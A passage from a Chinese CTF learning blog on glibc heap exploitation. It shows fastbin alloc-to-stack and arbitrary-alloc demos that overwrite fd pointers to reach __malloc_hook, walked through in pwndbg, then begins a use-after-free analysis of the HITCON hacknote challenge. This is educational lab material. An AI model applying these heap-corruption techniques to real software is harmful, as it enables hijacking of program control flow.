0x1<br>07:0038│ 0x7fff8cde18b8 ◂— 0x355e8484b10ddc00<br>─────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────<br> ► 0 0x40066a main+68<br> 1 0x7440b203a840 __libc_start_main+240<br>────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────<br><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">n</span><br>35 chunk_a = malloc(0x10);<br>LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA<br>─────────────────────────────────[ REGISTERS / show-flags on / show-compact-regs off ]──────────────────────────────────<br> RAX 0x20503010 —▸ 0x7fff8cde1890 —▸ 0x7fff8cde18be ◂— 0x400700355e /* '^5' */<br> RBX 0x0<br>*RCX 0x7440b23deb20 (main_arena) ◂— 0x0<br>*RDX 0x20503010 —▸ 0x7fff8cde1890 —▸ 0x7fff8cde18be ◂— 0x400700355e /* '^5' */<br>*RDI 0x0<br>*RSI 0x7440b23deb20 (main_arena) ◂— 0x0<br>*R8 0x7fff8cde1890 —▸ 0x7fff8cde18be ◂— 0x400700355e /* '^5' */<br> R9 0x0<br> R10 0x8b8<br> R11 0x7440b209e540 (free) ◂— push r13<br> R12 0x400530 (_start) ◂— xor ebp, ebp<br> R13 0x7fff8cde19a0 ◂— 0x1<br> R14 0x0<br> R15 0x0<br> RBP 0x7fff8cde18c0 —▸ 0x400700 (__libc_csu_init) ◂— push r15<br> RSP 0x7fff8cde1880 —▸ 0x20503010 —▸ 0x7fff8cde1890 —▸ 0x7fff8cde18be ◂— 0x400700355e /* '^5' */<br>*RIP 0x400674 (main+78) ◂— mov edi, 0x10<br> EFLAGS 0x202 [ cf pf af zf sf IF df of ]<br>──────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────<br> 0x40065f <main+57> lea rdx, [rbp - 0x30]<br> 0x400663 <main+61> mov rax, qword ptr [rbp - 0x40]<br> 0x400667 <main+65> mov qword ptr [rax], rdx<br> 0x40066a <main+68> mov edi, 0x10<br> 0x40066f <main+73> call malloc@plt <malloc@plt><br><br> ► 0x400674 <main+78> mov edi, 0x10<br> 0x400679 <main+83> call malloc@plt <malloc@plt><br><br> 0x40067e <main+88> mov qword ptr [rbp - 0x38], rax<br> 0x400682 <main+92> mov rax, qword ptr [rbp - 0x38]<br> 0x400686 <main+96> mov rsi, rax<br> 0x400689 <main+99> mov edi, 0x400788<br>───────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────<br>In file: /home/ctf/CTF-Workspace/fastbin-attack/Alloc_to_Stack/example1.c<br> 30<br> 31 // 第一次 malloc:从 fastbin 取出原来的 chunk1<br> 32 malloc(0x10);<br> 33<br> 34 // 第二次 malloc:返回栈上的 stack_chunk 地址<br> ► 35 chunk_a = malloc(0x10);<br> 36<br> 37 // 打印结果验证<br> 38 printf("chunk_a 返回的地址: %p\n", chunk_a);<br> 39 printf("stack_chunk 的地址: %p\n", &stack_chunk);<br> 40 printf("是否成功分配到栈上: %s\n",<br>───────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────<br>00:0000│ rsp 0x7fff8cde1880 —▸ 0x20503010 —▸ 0x7fff8cde1890 —▸ 0x7fff8cde18be ◂— 0x400700355e /* '^5' */<br>01:0008│ 0x7fff8cde1888 —▸ 0x40074d (__libc_csu_init+77) ◂— add rbx, 1<br>02:0010│ r8 0x7fff8cde1890 —▸ 0x7fff8cde18be ◂— 0x400700355e /* '^5' */<br>03:0018│ 0x7fff8cde1898 ◂— 0x21 /* '!' */<br>04:0020│ 0x7fff8cde18a0 —▸ 0x400700 (__libc_csu_init) ◂— push r15<br>05:0028│ 0x7fff8cde18a8 —▸ 0x400530 (_start) ◂— xor ebp, ebp<br>06:0030│ 0x7fff8cde18b0 —▸ 0x7fff8cde19a0 ◂— 0x1<br>07:0038│ 0x7fff8cde18b8 ◂— 0x355e8484b10ddc00<br>─────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────<br> ► 0 0x400674 main+78<br> 1 0x7440b203a840 __libc_start_main+240<br>────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────<br><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">x/8gx 0x20503000</span><br>0x20503000: 0x0000000000000000 0x0000000000000021 ← chunk 头(prev_size, size)<br>0x20503010: 0x00007fff8cde1890 0x0000000000000000 ← fd 指向栈上的 stack_chunk!<br>0x20503020: 0x0000000000000000 0x0000000000020fe1<br>0x20503030: 0x0000000000000000 0x0000000000000000<br><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">x/8gx 0x00007fff8cde1890</span><br>0x7fff8cde1890: 0x00007fff8cde18be 0x0000000000000021<br>0x7fff8cde18a0: 0x0000000000400700 0x0000000000400530<br>0x7fff8cde18b0: 0x00007fff8cde19a0 0x355e8484b10ddc00<br>0x7fff8cde18c0: 0x0000000000400700 0x00007440b203a840<br><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">p stack_chunk</span><br><span class="hljs-meta prompt_">$</span><span class="language-bash">1 = {</span><br> pre_size = 140735556753598,<br> size = 33,<br> fd = 4196096,<br> bk = 4195632<br>}<br><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">p &stack_chunk</span><br><span class="hljs-meta prompt_">$</span><span class="language-bash">2 = (CHUNK *) 0x7fff8cde1890</span><br><span class="hljs-meta prompt_">pwndbg></span><br></code></pre></td></tr></table></figure><p>成功把 chunk1 的 fd 指针指向了栈上伪造的 stack_chunk。</p><h3 id="小总结-1"><a href="#小总结-1" class="headerlink" title="小总结"></a>小总结</h3><p>通过该技术我们可以把 fastbin chunk 分配到栈中,从而控制返回地址等关键数据。要实现这一点我们需要劫持 fastbin 中 chunk 的 fd 域,把它指到栈上,当然同时需要栈上存在有满足条件的 size 值。</p><h2 id="Arbitrary-Alloc"><a href="#Arbitrary-Alloc" class="headerlink" title="Arbitrary Alloc"></a>Arbitrary Alloc</h2><p>Arbitrary Alloc 其实与 Alloc to stack 是完全相同的,唯一的区别是分配的目标不再是栈中。 事实上只要满足目标地址存在合法的 size 域(这个 size 域是构造的,还是自然存在的都无妨),我们可以把 chunk 分配到任意的可写内存中,比如 bss、heap、data、stack 等等。</p><h3 id="不怎么深入但浅出"><a href="#不怎么深入但浅出" class="headerlink" title="不怎么深入但浅出"></a>不怎么深入但浅出</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdlib.h></span></span><br><br><span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">(<span class="hljs-type">void</span>)</span><br>{<br> <span class="hljs-type">void</span> *chunk1;<br> <span class="hljs-type">void</span> *chunk_a;<br><br> <span class="hljs-comment">// 分配一个 fastbin chunk(0x60 数据区 + 0x10 头部 = 0x70)</span><br> chunk1 = <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x60</span>);<br><br> <span class="hljs-comment">// 释放它,进入 fastbin</span><br> <span class="hljs-built_in">free</span>(chunk1);<br><br> <span class="hljs-comment">// 修改 fd 指针,指向 __malloc_hook 附近的地址(利用字节错位)</span><br> <span class="hljs-comment">// 0x7ffff7dd1af5 是 __malloc_hook 附近可以错位出 0x7f 大小的地方</span><br> <span class="hljs-comment">// -0x8 是为了让 fd 指向伪造 chunk 的起始位置</span><br> *(<span class="hljs-type">long</span> <span class="hljs-type">long</span> *)chunk1 = <span class="hljs-number">0x7ffff7dd1af5</span> - <span class="hljs-number">0x8</span>;<br><br> <span class="hljs-comment">// 第一次 malloc:从 fastbin 取出原来的 chunk1</span><br> <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x60</span>);<br><br> <span class="hljs-comment">// 第二次 malloc:返回 __malloc_hook 附近的地址</span><br> chunk_a = <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x60</span>);<br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure><p>在第13行下断点看一下b 13,在18行断一下b 18:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">fastbin</span><br>fastbins<br>empty<br></code></pre></td></tr></table></figure><p>最开始是empty因为 free(chunk1) 还没有执行,我们往下走:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">fastbin</span><br>fastbins<br>0x70: 0x310cc000 ◂— 0x0<br><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">x/20gx 0x310cc000</span><br>0x310cc000: 0x0000000000000000 0x0000000000000071<br>0x310cc010: 0x0000000000000000 0x0000000000000000<br>0x310cc020: 0x0000000000000000 0x0000000000000000<br>0x310cc030: 0x0000000000000000 0x0000000000000000<br>0x310cc040: 0x0000000000000000 0x0000000000000000<br>0x310cc050: 0x0000000000000000 0x0000000000000000<br>0x310cc060: 0x0000000000000000 0x0000000000000000<br>0x310cc070: 0x0000000000000000 0x0000000000020f91<br>0x310cc080: 0x0000000000000000 0x0000000000000000<br>0x310cc090: 0x0000000000000000 0x0000000000000000<br><span class="hljs-meta prompt_">pwndbg></span><br></code></pre></td></tr></table></figure><p>两次单步进到修改fd指针的代码:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">pwndgb> </span><span class="language-bash">n</span><br><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">n</span><br><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">x/8gx chunk1</span><br>0x310cc010: 0x00007ffff7dd1aed 0x0000000000000000<br>0x310cc020: 0x0000000000000000 0x0000000000000000<br>0x310cc030: 0x0000000000000000 0x0000000000000000<br>0x310cc040: 0x0000000000000000 0x0000000000000000<br></code></pre></td></tr></table></figure><p>看到 fd 字段(第二个 8 字节)被改成了 0x7ffff7dd1aed,虽然修改的是chunk1的内容,但是由于被修改的位置恰好是chunk1的fd位置,所以fastbin就误以为0x7ffff7dd1aed是在chunk1前释放的一个chunk。0x7ffff7dd1aed也就是我们常说的带有malloc_hook的fake_chunk,接下来是利用pwndbg自带的指令进行自动化查找:</p><p>首先看一下当前main_arena地址:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">x/8gx chunk1</span><br>0x310cc010: 0x00007ffff7dd1aed 0x0000000000000000<br>0x310cc020: 0x0000000000000000 0x0000000000000000<br>0x310cc030: 0x0000000000000000 0x0000000000000000<br>0x310cc040: 0x0000000000000000 0x0000000000000000<br><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash"><span class="hljs-built_in">print</span> (void*)&main_arena</span><br><span class="hljs-meta prompt_">$</span><span class="language-bash">1 = (void *) 0x6ffca26a7b20 <main_arena></span><br></code></pre></td></tr></table></figure><p>这里打印出了main_arena的地址:0x6ffca26a7b20,malloc_hook相对main_arena的偏移为0x10,这个是固定的:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">x/4gx 0x6ffca26a7b20-0x10</span><br>0x6ffca26a7b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000<br>0x6ffca26a7b20 <main_arena>: 0x0000000000000000 0x0000000000000000<br></code></pre></td></tr></table></figure><p>可以看到malloc_hook的地址为<code>0x6ffca26a7b10</code>,接下来:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">pwndbg> </span><span class="language-bash">find_fake_fast 0x6ffca26a7b10 0x70</span><br>Searching for fastbin size fields up to 0x70, starting at 0x6ffca26a7aa8 resulting in an overlap of 0x6ffca26a7b10<br>FAKE CHUNKS<br>Fake chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA<br>Addr: 0x6ffca26a7aed<br>prev_size: 0xfca26a6260000000<br>size: 0x6f<br>fd: 0xfca2368ea0000000<br>bk: 0xfca2368a7000006f<br>fd_nextsize: 0x6f<br>bk_nextsize: 0x00<br></code></pre></td></tr></table></figure><p>接下来的两次malloc,第一次会将fastbin中原有释放掉的chunk1重启,第二次malloc就会将带有malloc_hook的fake_chunk作为正常的chunk启用,并且将malloc指针赋给chunk_a。因为malloc_hook地址存在于chunk_a内容部分的地址,所以对chunk_a进行恶意写操作的话,也会写到malloc_hook中,从而控制hook流程。</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><p>CTF-Wiki</p><ul><li><a href="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack/">Fastbin Attack</a></li></ul></li><li><p>Blogs</p><ul><li><a href="https://www.e-com-net.com/article/1706111896937115648.htm">HAPPYers - free总结</a></li><li><a href="https://www.e-com-net.com/article/1292670405001158656.htm">weixin_44304686 - malloc.c源码阅读之__libc_free</a></li></ul></li><li><p>CSDN</p><ul><li><a href="https://blog.csdn.net/qq_41202237/article/details/109284167">好好说话之Fastbin Attack(2):House Of Spirit</a></li><li><a href="https://blog.csdn.net/qq_41202237/article/details/112320919">好好说话之Fastbin Attack(4):Arbitrary Alloc</a></li></ul></li><li><p>先知</p><ul><li><a href="https://xz.aliyun.com/news/14155">YOLO - 堆利用之House Of Spirit</a></li></ul></li><li><p>知乎</p><ul><li><a href="https://zhuanlan.zhihu.com/p/78304033">二进制安全之堆溢出(系列)—— house of spirit</a></li></ul></li></ul>]]></content>
<categories>
<category>Heap</category>
</categories>
<tags>
<tag>Heap</tag>
<tag>Pwn</tag>
<tag>Fastbin</tag>
</tags>
</entry>
<entry>
<title>花与堆之Use After Free</title>
<link href="/2026/02/20/use-after-free-learning/"/>
<url>/2026/02/20/use-after-free-learning/</url>
<content type="html"><![CDATA[<h2 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h2><p><code>Use After Free</code>即其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况:</p><ul><li>内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。</li><li>内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么<strong>程序很有可能可以正常运转</strong>。</li><li>内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,<strong>就很有可能会出现奇怪的问题</strong>。</li></ul><blockquote><p>一般所指的Use After Free漏洞主要是后两种,一般将释放后没有被设置为NULL的内存指针为<strong>dangling pointer</strong></p></blockquote><h2 id="案例分析"><a href="#案例分析" class="headerlink" title="案例分析"></a>案例分析</h2><blockquote><p>可以用ubuntu16来跑这个代码</p></blockquote><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdlib.h></span></span><br><span class="hljs-keyword">typedef</span> <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">name</span> {</span><br> <span class="hljs-type">char</span> *myname;<br> <span class="hljs-type">void</span> (*func)(<span class="hljs-type">char</span> *str);<br>} NAME;<br><span class="hljs-type">void</span> <span class="hljs-title function_">myprint</span><span class="hljs-params">(<span class="hljs-type">char</span> *str)</span> { <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s\n"</span>, str); }<br><span class="hljs-type">void</span> <span class="hljs-title function_">printmyname</span><span class="hljs-params">()</span> { <span class="hljs-built_in">printf</span>(<span class="hljs-string">"call print my name\n"</span>); }<br><span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">()</span> {<br> NAME *a;<br> a = (NAME *)<span class="hljs-built_in">malloc</span>(<span class="hljs-keyword">sizeof</span>(<span class="hljs-keyword">struct</span> name));<br> a->func = myprint;<br> a->myname = <span class="hljs-string">"I can also use it"</span>;<br> a->func(<span class="hljs-string">"this is my function"</span>);<br><br> <span class="hljs-comment">// free without modify</span><br> <span class="hljs-built_in">free</span>(a);<br> a->func(<span class="hljs-string">"I can also use it"</span>);<br><br> <span class="hljs-comment">// free with modify</span><br> a->func = printmyname;<br> a->func(<span class="hljs-string">"this is my function"</span>);<br><br> <span class="hljs-comment">// set NULL</span><br> a = <span class="hljs-literal">NULL</span>;<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"this pogram will crash...\n"</span>);<br> a->func(<span class="hljs-string">"can not be printed..."</span>);<br>}<br></code></pre></td></tr></table></figure><p>运行后观察到虽然我们 free 掉 a 指针,但是 a 指向的函数 myprint 依旧可以被调用,并且可以被修改为调用 printmyname,直到 a 被置为空以后才发生了 Segmention fault 。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-built_in">free</span>(a);<br>a->func(<span class="hljs-string">"I can also use it"</span>);<br><span class="hljs-comment">// free with modify</span><br>a->func = printmyname;<br>a->func(<span class="hljs-string">"this is my function"</span>);<br></code></pre></td></tr></table></figure><p>看到myprint()函数依然可以被调用,并且成功执行打印出字符串。我们继续往下看,接下来不仅仅是对函数的调用了,而是直接将func成员变量中的函数指针更改成了printmyname()函数,并且调用func成员变量。虽然printmyname()函数不需要参数,但为了能够让程序认为这里依然是myprint()函数,并且认为我们的操作是合法的,所以传入了参数”this is my function”,再往后观察到,即使我们改变了成员变量中的函数指针,依然可以顺利执行printmyname()函数,并打印出printmyname()函数中原有打印“call print my name”的功能。 </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-comment">// set NULL</span><br>a = <span class="hljs-literal">NULL</span>;<br><span class="hljs-built_in">printf</span>(<span class="hljs-string">"this pogram will crash...\n"</span>);<br>a->func(<span class="hljs-string">"can not be printed..."</span>);<br></code></pre></td></tr></table></figure><p>之后将a结构体置空,打印出一个提示字符串,这样一来程序再一次调用func成员变量,看到只出现了提示标语,而没有出现调用func成员变量执行printmyname()函数的功能。这样一个例子可以很直观的体现出结构体指针在释放之后置空的重要性,以及没有置空情况下我们可以做些什么。 </p><h2 id="例题:-HITCON-Training-hacknote"><a href="#例题:-HITCON-Training-hacknote" class="headerlink" title="例题: HITCON-Training-hacknote"></a>例题: <a href="https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/user-mode/heap/use_after_free/hitcon-training-hacknote">HITCON-Training-hacknote</a></h2><h3 id="程序分析"><a href="#程序分析" class="headerlink" title="程序分析"></a>程序分析</h3><h4 id="检查保护"><a href="#检查保护" class="headerlink" title="检查保护"></a>检查保护</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs bash">zer0ptr@DESKTOP-65QJLFA:~/Pwn/UAF$ checksec hacknote<br>[*] <span class="hljs-string">'/home/zer0ptr/Pwn/UAF/hacknote'</span><br> Arch: i386-32-little <br> RELRO: Partial RELRO <br> Stack: Canary found <br> NX: NX enabled<br> PIE: No PIE (0x8048000) <br> Stripped: No<br></code></pre></td></tr></table></figure><h4 id="静态分析"><a href="#静态分析" class="headerlink" title="静态分析"></a>静态分析</h4><p><img src="/images/uaf-hitcon-lab10/magic.png"></p><p>这里发现了一个魔法函数,记着应该有用。 </p><h5 id="add-note"><a href="#add-note" class="headerlink" title="add_note()"></a>add_note()</h5><p>根据程序,我们可以看出程序最多可以添加 5 个 note。每个 note 有两个字段: <code>void (*printnote)();</code> 与<code>char *content;</code>,其中<code>printnote</code>会被设置为一个函数,其函数功能为输出 <code>content</code> 具体的内容。 </p><p>note 的结构体定义如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">note</span> {</span><br> <span class="hljs-type">void</span> (*printnote)();<br> <span class="hljs-type">char</span> *content;<br>};<br></code></pre></td></tr></table></figure><p>add_note 函数代码如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">unsigned</span> <span class="hljs-type">int</span> <span class="hljs-title function_">add_note</span><span class="hljs-params">()</span><br>{<br> note *v0; <span class="hljs-comment">// ebx</span><br> <span class="hljs-type">signed</span> <span class="hljs-type">int</span> i; <span class="hljs-comment">// [esp+Ch] [ebp-1Ch]</span><br> <span class="hljs-type">int</span> size; <span class="hljs-comment">// [esp+10h] [ebp-18h]</span><br> <span class="hljs-type">char</span> buf; <span class="hljs-comment">// [esp+14h] [ebp-14h]</span><br> <span class="hljs-type">unsigned</span> <span class="hljs-type">int</span> v5; <span class="hljs-comment">// [esp+1Ch] [ebp-Ch]</span><br><br> v5 = __readgsdword(<span class="hljs-number">0x14u</span>);<br> <span class="hljs-keyword">if</span> ( count <= <span class="hljs-number">5</span> )<br> {<br> <span class="hljs-keyword">for</span> ( i = <span class="hljs-number">0</span>; i <= <span class="hljs-number">4</span>; ++i )<br> {<br> <span class="hljs-keyword">if</span> ( !notelist[i] )<br> {<br> notelist[i] = <span class="hljs-built_in">malloc</span>(<span class="hljs-number">8u</span>);<br> <span class="hljs-keyword">if</span> ( !notelist[i] )<br> {<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Alloca Error"</span>);<br> <span class="hljs-built_in">exit</span>(<span class="hljs-number">-1</span>);<br> }<br> notelist[i]->put = print_note_content;<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Note size :"</span>);<br> read(<span class="hljs-number">0</span>, &buf, <span class="hljs-number">8u</span>);<br> size = atoi(&buf);<br> v0 = notelist[i];<br> v0->content = <span class="hljs-built_in">malloc</span>(size);<br> <span class="hljs-keyword">if</span> ( !notelist[i]->content )<br> {<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Alloca Error"</span>);<br> <span class="hljs-built_in">exit</span>(<span class="hljs-number">-1</span>);<br> }<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Content :"</span>);<br> read(<span class="hljs-number">0</span>, notelist[i]->content, size);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Success !"</span>);<br> ++count;<br> <span class="hljs-keyword">return</span> __readgsdword(<span class="hljs-number">0x14u</span>) ^ v5;<br> }<br> }<br> }<br> <span class="hljs-keyword">else</span><br> {<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Full"</span>);<br> }<br> <span class="hljs-keyword">return</span> __readgsdword(<span class="hljs-number">0x14u</span>) ^ v5;<br>}<br></code></pre></td></tr></table></figure><p>如果notelist+i是空字节则创建一个8字节的chunk,创建完成之后会在进行一次if判断,接着放置print_note_content()函数指针</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> __cdecl <span class="hljs-title function_">print_note_content</span><span class="hljs-params">(<span class="hljs-type">int</span> a1)</span><br>{<br> <span class="hljs-keyword">return</span> <span class="hljs-built_in">puts</span>(*(<span class="hljs-type">const</span> <span class="hljs-type">char</span> **)(a1 + <span class="hljs-number">4</span>));<br>}<br></code></pre></td></tr></table></figure><p>可以看到print_note_content()会输出a1加四地址处的变量,接着读入buf并将buf的大小赋值到size并在v0+4的位置malloc一个size大小的空间</p><blockquote><p>程序会调用read函数将输入的内容放在<code>*((void **)*(&notelist + i) + 1</code>处, 这里无法进行溢出</p></blockquote><h5 id="print-note"><a href="#print-note" class="headerlink" title="print_note()"></a>print_note()</h5><p>print_note 就是简单的根据给定的 note 的索引来输出对应索引的 note 的内容:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">unsigned</span> <span class="hljs-type">int</span> <span class="hljs-title function_">print_note</span><span class="hljs-params">()</span><br>{<br> <span class="hljs-type">int</span> v1; <span class="hljs-comment">// [esp+4h] [ebp-14h]</span><br> <span class="hljs-type">char</span> buf; <span class="hljs-comment">// [esp+8h] [ebp-10h]</span><br> <span class="hljs-type">unsigned</span> <span class="hljs-type">int</span> v3; <span class="hljs-comment">// [esp+Ch] [ebp-Ch]</span><br><br> v3 = __readgsdword(<span class="hljs-number">0x14u</span>);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Index :"</span>);<br> read(<span class="hljs-number">0</span>, &buf, <span class="hljs-number">4u</span>);<br> v1 = atoi(&buf);<br> <span class="hljs-keyword">if</span> ( v1 < <span class="hljs-number">0</span> || v1 >= count )<br> {<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Out of bound!"</span>);<br> _exit(<span class="hljs-number">0</span>);<br> }<br> <span class="hljs-keyword">if</span> ( notelist[v1] )<br> notelist[v1]->put(notelist[v1]);<br> <span class="hljs-keyword">return</span> __readgsdword(<span class="hljs-number">0x14u</span>) ^ v3;<br>}<br></code></pre></td></tr></table></figure><h5 id="delete-note"><a href="#delete-note" class="headerlink" title="delete_note"></a>delete_note</h5><p>delete_note 会根据给定的索引来释放对应的 note。但是值得注意的是,在删除的时候,只是单纯进行了 free,而没有设置为 NULL,那么显然,这里是存在 Use After Free 的情况的。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span 